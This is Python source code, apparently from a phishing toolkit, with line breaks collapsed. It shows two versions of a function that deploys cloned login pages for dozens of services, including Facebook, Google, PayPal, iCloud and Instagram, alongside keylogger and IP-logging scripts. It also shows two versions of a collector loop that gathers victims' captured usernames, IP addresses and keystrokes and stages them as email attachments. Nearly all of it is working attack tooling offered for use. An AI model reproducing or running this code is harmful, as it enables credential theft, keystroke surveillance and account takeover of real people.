def license_handler(): eula = pathlib_Path("eula.txt") if eula.exists(): eula = eula.open('r') with open('eula.txt', 'r') as f: if 'eula = True' in f.read(): print('Found your license agreement, proceeding...') return True else: print('Please read and accept license.') return False else: eula.touch(mode=0o777, exist_ok=True) eula = open('eula.txt', 'w') eula.write(localization.write_eula + "eula = False") eula.close() print('Please accept EULA.') return False
def start_phishing_page(page, custom_option): # Phishing pages selection menu #chmod('Server', 777) run_command(['chmod', '-R', '777', 'Server']) rmtree("Server/www", onerror=simple_informant.remove_readonly) mkdir('Server/www') #chmod('Server/www', 777) pathlib_Path('Server/www/usernames.txt').touch() pathlib_Path('Server/www/ip.txt').touch() copyfile('WebPages/ip.php', 'Server/www/ip.php') copyfile('WebPages/KeyloggerData.txt', 'Server/www/KeyloggerData.txt') copyfile('WebPages/keylogger.js', 'Server/www/keylogger.js') copyfile('WebPages/keylogger.php', 'Server/www/keylogger.php') try: remove('link.url') except: pass if custom_option == '1' and page == 'Facebook': webpage_set("WebPages/fb_standard/", "Server/www/") elif custom_option == '2' and page == 'Facebook': webpage_set("WebPages/fb_advanced_poll/", "Server/www/") elif custom_option == '3' and page == 'Facebook': webpage_set("WebPages/fb_security_fake/", "Server/www/") elif custom_option == '4' and page == 'Facebook': webpage_set("WebPages/fb_messenger/", "Server/www/") elif custom_option == '1' and page == 'Google': webpage_set("WebPages/google_standard/", "Server/www/") elif custom_option == '2' and page == 'Google': webpage_set("WebPages/google_advanced_poll/", "Server/www/") elif custom_option == '3' and page == 'Google': webpage_set("WebPages/google_advanced_web/", "Server/www/") elif page == 'LinkedIn': webpage_set("WebPages/linkedin/", "Server/www/") elif page == 'GitHub': webpage_set("WebPages/GitHub/", "Server/www/") elif page == 'StackOverflow': webpage_set("WebPages/stackoverflow/", "Server/www/") elif page == 'WordPress': webpage_set("WebPages/wordpress/", "Server/www/") elif page == 'Twitter': webpage_set("WebPages/twitter/", "Server/www/") elif page == 'Snapchat': webpage_set("WebPages/Snapchat_web/", "Server/www/") elif page == 'Yahoo': webpage_set("WebPages/yahoo_web/", "Server/www/") elif page == 'Twitch': webpage_set("WebPages/twitch/", "Server/www/") elif page == 'Microsoft': webpage_set("WebPages/live_web/", "Server/www/") elif page == 'Steam': webpage_set("WebPages/steam/", "Server/www/") elif page == 'iCloud': webpage_set("WebPages/iCloud/", "Server/www/") elif custom_option == '1' and page == 'Instagram': webpage_set("WebPages/Instagram_web/", "Server/www/") elif custom_option == '2' and page == 'Instagram': webpage_set("WebPages/Instagram_autoliker/", "Server/www/") elif custom_option == '3' and page == 'Instagram': webpage_set("WebPages/Instagram_advanced_attack/", "Server/www/") elif custom_option == '4' and page == 'Instagram': webpage_set("WebPages/Instagram_VerifiedBadge/", "Server/www/") elif custom_option == '5' and page == 'Instagram': webpage_set("WebPages/instafollowers/", "Server/www/") elif custom_option == '1' and page == 'VK': webpage_set("WebPages/VK/", "Server/www/") elif custom_option == '2' and page == 'VK': webpage_set("WebPages/VK_poll_method/", "Server/www/") elif page == 'GitLab': webpage_set("WebPages/gitlab/", "Server/www/") elif page == 'NetFlix': webpage_set("WebPages/netflix/", "Server/www/") elif page == 'Origin': webpage_set("WebPages/origin/", "Server/www/") elif page == 'Pinterest': webpage_set("WebPages/pinterest/", "Server/www/") elif page == 'ProtonMail': webpage_set("WebPages/protonmail/", "Server/www/") elif page == 'Spotify': webpage_set("WebPages/spotify/", "Server/www/") elif page == 'Quora': webpage_set("WebPages/quora/", "Server/www/") elif page == 'PornHub': webpage_set("WebPages/pornhub/", "Server/www/") elif page == 'Adobe': webpage_set("WebPages/adobe/", "Server/www/") elif page == 'Badoo': webpage_set("WebPages/badoo/", "Server/www/") elif page == 'CryptoCurrency': webpage_set("WebPages/cryptocurrency/", "Server/www/") elif page == 'DevianArt': webpage_set("WebPages/devianart/", "Server/www/") elif page == 'DropBox': webpage_set("WebPages/dropbox/", "Server/www/") elif page == 'eBay': webpage_set("WebPages/ebay/", "Server/www/") elif page == 'Myspace': webpage_set("WebPages/myspace/", "Server/www/") elif page == 'PayPal': webpage_set("WebPages/paypal/", "Server/www/") elif page == 'Shopify': webpage_set("WebPages/shopify/", "Server/www/") elif page == 'Verizon': webpage_set("WebPages/verizon/", "Server/www/") elif page == 'Yandex': webpage_set("WebPages/yandex/", "Server/www/") elif custom_option == '1' and page == 'Reddit': webpage_set("WebPages/Reddit/", "Server/www/") elif custom_option == '2' and page == 'Reddit': webpage_set("WebPages/Reddit-old/", "Server/www/") elif page == 'Subitoit': webpage_set("WebPages/subitoit/", "Server/www/") elif page == 'PlayStation': webpage_set('WebPages/playstation/', "Server/www/") elif page == 'Xbox': webpage_set('WebPages/xbox/', "Server/www/") elif page == 'CUSTOM(1)': print(localization.lang_start_phishing_page["custom_folder_directory"]. format(page=page)) print( localization.lang_start_phishing_page["manual_reading_suggestion"]. format(page=page)) input(localization.lang_start_phishing_page[ "press_enter_to_contunue_if_setup_correctly"]) print(localization.lang_start_phishing_page["copying_your_files"]) wait(3) webpage_set('WebPages/CUSTOM(1)/', "Server/www/") elif page == 'CUSTOM(2)': print(localization.lang_start_phishing_page["custom_folder_directory"]. format(page=page)) print( localization.lang_start_phishing_page["manual_reading_suggestion"]. format(page=page)) input(localization.lang_start_phishing_page[ "press_enter_to_contunue_if_setup_correctly"]) print(localization.lang_start_phishing_page["copying_your_files"]) wait(3) webpage_set('WebPages/CUSTOM(2)/', "Server/www/") # Tools Below && Phishing Pages Above elif custom_option == '1' and page == 'LOCATION': wait(3) webpage_set('WebPages/TOOLS/nearyou', "Server/www/") print(localization.lang_start_phishing_page["https_suggestion"]) input(localization.lang_start_phishing_page[ "press_enter_to_contunue_if_setup_correctly"]) elif custom_option == '2' and page == 'LOCATION': wait(3) webpage_set('WebPages/TOOLS/gdrive', "Server/www/") print(localization.lang_start_phishing_page["https_suggestion"]) print(localization.lang_start_phishing_page["gdrive_suggestion"]) input(localization.lang_start_phishing_page[ "press_enter_to_contunue_if_setup_correctly"]) else: run_command('clear') print("Please choose a valid option") time.sleep(1) start_main_menu()
def start_phishing_page(page, custom_option): # Phishing pages selection menu run_command(["chmod", "-R", "777", "Server"]) rmtree("Server/www", onerror=simple_informant.remove_readonly) mkdir("Server/www") pathlib_Path("Server/www/usernames.txt").touch() pathlib_Path("Server/www/ip.txt").touch() copyfile("WebPages/ip.php", "Server/www/ip.php") copyfile("WebPages/KeyloggerData.txt", "Server/www/KeyloggerData.txt") copyfile("WebPages/keylogger.js", "Server/www/keylogger.js") copyfile("WebPages/keylogger.php", "Server/www/keylogger.php") try: remove("link.url") except FileNotFoundError: pass if custom_option == "1" and page == "Facebook": webpage_set("WebPages/fb_standard/", "Server/www/") elif custom_option == "2" and page == "Facebook": webpage_set("WebPages/fb_advanced_poll/", "Server/www/") elif custom_option == "3" and page == "Facebook": webpage_set("WebPages/fb_security_fake/", "Server/www/") elif custom_option == "4" and page == "Facebook": webpage_set("WebPages/fb_messenger/", "Server/www/") elif custom_option == "1" and page == "Google": webpage_set("WebPages/google_standard/", "Server/www/") elif custom_option == "2" and page == "Google": webpage_set("WebPages/google_advanced_poll/", "Server/www/") elif custom_option == "3" and page == "Google": webpage_set("WebPages/google_advanced_web/", "Server/www/") elif page == "LinkedIn": webpage_set("WebPages/linkedin/", "Server/www/") elif page == "GitHub": webpage_set("WebPages/GitHub/", "Server/www/") elif page == "StackOverflow": webpage_set("WebPages/stackoverflow/", "Server/www/") elif page == "WordPress": webpage_set("WebPages/wordpress/", "Server/www/") elif page == "Twitter": webpage_set("WebPages/twitter/", "Server/www/") elif page == "Snapchat": webpage_set("WebPages/Snapchat_web/", "Server/www/") elif page == "Yahoo": webpage_set("WebPages/yahoo_web/", "Server/www/") elif page == "Twitch": webpage_set("WebPages/twitch/", "Server/www/") elif page == "Microsoft": webpage_set("WebPages/live_web/", "Server/www/") elif page == "Steam": webpage_set("WebPages/steam/", "Server/www/") elif page == "iCloud": webpage_set("WebPages/iCloud/", "Server/www/") elif custom_option == "1" and page == "Instagram": webpage_set("WebPages/Instagram_web/", "Server/www/") elif custom_option == "2" and page == "Instagram": webpage_set("WebPages/Instagram_autoliker/", "Server/www/") elif custom_option == "3" and page == "Instagram": webpage_set("WebPages/Instagram_advanced_attack/", "Server/www/") elif custom_option == "4" and page == "Instagram": webpage_set("WebPages/Instagram_VerifiedBadge/", "Server/www/") elif custom_option == "5" and page == "Instagram": webpage_set("WebPages/instafollowers/", "Server/www/") elif custom_option == "1" and page == "VK": webpage_set("WebPages/VK/", "Server/www/") elif custom_option == "2" and page == "VK": webpage_set("WebPages/VK_poll_method/", "Server/www/") elif page == "GitLab": webpage_set("WebPages/gitlab/", "Server/www/") elif page == "NetFlix": webpage_set("WebPages/netflix/", "Server/www/") elif page == "Origin": webpage_set("WebPages/origin/", "Server/www/") elif page == "Pinterest": webpage_set("WebPages/pinterest/", "Server/www/") elif page == "ProtonMail": webpage_set("WebPages/protonmail/", "Server/www/") elif page == "Spotify": webpage_set("WebPages/spotify/", "Server/www/") elif page == "Quora": webpage_set("WebPages/quora/", "Server/www/") elif page == "PornHub": webpage_set("WebPages/pornhub/", "Server/www/") elif page == "Adobe": webpage_set("WebPages/adobe/", "Server/www/") elif page == "Badoo": webpage_set("WebPages/badoo/", "Server/www/") elif page == "CryptoCurrency": webpage_set("WebPages/cryptocurrency/", "Server/www/") elif page == "DevianArt": webpage_set("WebPages/devianart/", "Server/www/") elif page == "DropBox": webpage_set("WebPages/dropbox/", "Server/www/") elif page == "eBay": webpage_set("WebPages/ebay/", "Server/www/") elif page == "Myspace": webpage_set("WebPages/myspace/", "Server/www/") elif page == "PayPal": webpage_set("WebPages/paypal/", "Server/www/") elif page == "Shopify": webpage_set("WebPages/shopify/", "Server/www/") elif page == "Verizon": webpage_set("WebPages/verizon/", "Server/www/") elif page == "Yandex": webpage_set("WebPages/yandex/", "Server/www/") elif custom_option == "1" and page == "Reddit": webpage_set("WebPages/Reddit/", "Server/www/") elif custom_option == "2" and page == "Reddit": webpage_set("WebPages/Reddit-old/", "Server/www/") elif page == "Subitoit": webpage_set("WebPages/subitoit/", "Server/www/") elif page == "PlayStation": webpage_set("WebPages/playstation/", "Server/www/") elif page == "Xbox": webpage_set("WebPages/xbox/", "Server/www/") elif page == "CUSTOM(1)": print(localization.lang_start_phishing_page["custom_folder_directory"]. format(page=page)) print( localization.lang_start_phishing_page["manual_reading_suggestion"]. format(page=page)) input(localization.lang_start_phishing_page[ "press_enter_to_continue_if_setup_correctly"]) print(localization.lang_start_phishing_page["copying_your_files"]) wait(3) webpage_set("WebPages/CUSTOM(1)/", "Server/www/") elif page == "CUSTOM(2)": print(localization.lang_start_phishing_page["custom_folder_directory"]. format(page=page)) print( localization.lang_start_phishing_page["manual_reading_suggestion"]. format(page=page)) input(localization.lang_start_phishing_page[ "press_enter_to_continue_if_setup_correctly"]) print(localization.lang_start_phishing_page["copying_your_files"]) wait(3) webpage_set("WebPages/CUSTOM(2)/", "Server/www/") # Tools Below && Phishing Pages Above elif custom_option == "1" and page == "LOCATION": wait(3) webpage_set("WebPages/TOOLS/nearyou", "Server/www/") print(localization.lang_start_phishing_page["https_suggestion"]) input(localization.lang_start_phishing_page[ "press_enter_to_continue_if_setup_correctly"]) elif custom_option == "2" and page == "LOCATION": wait(3) webpage_set("WebPages/TOOLS/gdrive", "Server/www/") print(localization.lang_start_phishing_page["https_suggestion"]) print(localization.lang_start_phishing_page["gdrive_suggestion"]) input(localization.lang_start_phishing_page[ "press_enter_to_continue_if_setup_correctly"]) else: run_command("clear") print("Please choose a valid option") time.sleep(1) start_main_menu()
def credentials_collector(port): print(localization.lang_credentials_collector["waiting_for_interaction"]) while True: with open('Server/www/usernames.txt') as creds: lines = creds.read().rstrip() if len(lines) != 0: log_writer(localization. lang_credentials_collector["credentials_found"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines)) #run_command("touch Server/CapturedData/usernames.txt pathlib_Path("Server/CapturedData/usernames.txt").touch( mode=0o777, exist_ok=True) # && cat Server/www/usernames.txt >> Server/CapturedData/usernames.txt captured_usernames = open('Server/CapturedData/usernames.txt', 'a') new_usernames = open('Server/www/usernames.txt') captured_usernames.write(new_usernames.read()) new_usernames.close() captured_usernames.close() # && cp Server/CapturedData/usernames.txt Defs/Send_Email/attachments/usernames.txt copyfile( 'Server/CapturedData/usernames.txt', 'Defs/FeatureManager/EmailManager/attachments/usernames.txt' ) # && echo -n '' > Server/www/usernames.txt") new_usernames = open('Server/www/usernames.txt', 'w') new_usernames.write('') new_usernames.close() with open('Server/www/ip.txt') as creds: lines = creds.read().rstrip() if len(lines) != 0: log_writer(localization. lang_credentials_collector["device_details_found"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines)) #run_command('touch Server/CapturedData/ip.txt pathlib_Path("Server/CapturedData/ip.txt").touch(mode=0o777, exist_ok=True) # && cat Server/www/ip.txt >> Server/CapturedData/ip.txt captured_ips = open('Server/CapturedData/ip.txt', 'a') new_ips = open('Server/www/ip.txt') captured_ips.write(new_ips.read()) new_ips.close() captured_ips.close() # && cp Server/CapturedData/ip.txt Defs/Send_Email/attachments/ip.txt copyfile( 'Server/CapturedData/ip.txt', 'Defs/FeatureManager/EmailManager/attachments/ip.txt') # && rm -rf Server/www/ip.txt new_ips = open('Server/www/ip.txt', 'w') # && touch Server/www/ip.txt') new_ips.write('') new_ips.close() creds.close() with open('Server/www/KeyloggerData.txt') as creds: lines = creds.read().rstrip() if len(lines) != 0: log_writer(global_localization.line_of_dots) log_writer(localization. lang_credentials_collector["getting_pressed_keys"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines)) #run_command('touch Server/CapturedData/KeyloggerData.txt pathlib_Path('Server/CapturedData/KeyloggerData.txt').touch( mode=0o777, exist_ok=True) # && cat Server/www/KeyloggerData.txt >> Server/CapturedData/KeyloggerData.txt captured_keys = open('Server/CapturedData/KeyloggerData.txt', 'a') new_keys = open('Server/www/KeyloggerData.txt') captured_keys.write(new_keys.read()) new_keys.close() captured_keys.close() # && cp Server/CapturedData/KeyloggerData.txt Defs/Send_Email/attachments/KeyloggerData.txt copyfile( 'Server/CapturedData/KeyloggerData.txt', 'Defs/FeatureManager/EmailManager/attachments/KeyloggerData.txt' ) # && rm -rf Server/www/KeyloggerData.txt new_keys = open('Server/www/KeyloggerData.txt', 'w') # && touch Server/www/KeyloggerData.txt') new_keys.write('') new_keys.close() log_writer(global_localization.line_of_dots) creds.close()
def credentials_collector(): """Collects, writes and returns credentials and additional info gathered from target.""" print(localization.lang_credentials_collector["waiting_for_interaction"]) while True: with open("Server/www/usernames.txt") as creds: lines = creds.read().rstrip() if len(lines) != 0: log_writer(localization. lang_credentials_collector["credentials_found"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines)) pathlib_Path("Server/CapturedData/usernames.txt").touch( mode=0o777, exist_ok=True) captured_usernames = open("Server/CapturedData/usernames.txt", "a") new_usernames = open("Server/www/usernames.txt") captured_usernames.write(new_usernames.read()) new_usernames.close() captured_usernames.close() copyfile( "Server/CapturedData/usernames.txt", "Defs/FeatureManager/EmailManager/attachments/usernames.txt", ) new_usernames = open("Server/www/usernames.txt", "w") new_usernames.write("") new_usernames.close() with open("Server/www/ip.txt") as creds: lines = creds.read().rstrip() if len(lines) != 0: log_writer(localization. lang_credentials_collector["device_details_found"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines)) pathlib_Path("Server/CapturedData/ip.txt").touch(mode=0o777, exist_ok=True) captured_ips = open("Server/CapturedData/ip.txt", "a") new_ips = open("Server/www/ip.txt") captured_ips.write(new_ips.read()) new_ips.close() captured_ips.close() copyfile( "Server/CapturedData/ip.txt", "Defs/FeatureManager/EmailManager/attachments/ip.txt", ) new_ips = open("Server/www/ip.txt", "w") new_ips.write("") new_ips.close() creds.close() with open("Server/www/KeyloggerData.txt") as creds: lines = creds.read().rstrip() if len(lines) != 0: log_writer(global_localization.line_of_dots) log_writer(localization. lang_credentials_collector["getting_pressed_keys"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines)) pathlib_Path("Server/CapturedData/KeyloggerData.txt").touch( mode=0o777, exist_ok=True) captured_keys = open("Server/CapturedData/KeyloggerData.txt", "a") new_keys = open("Server/www/KeyloggerData.txt") captured_keys.write(new_keys.read()) new_keys.close() captured_keys.close() copyfile( "Server/CapturedData/KeyloggerData.txt", "Defs/FeatureManager/EmailManager/attachments/KeyloggerData.txt", ) new_keys = open("Server/www/KeyloggerData.txt", "w") new_keys.write("") new_keys.close() log_writer(global_localization.line_of_dots) creds.close()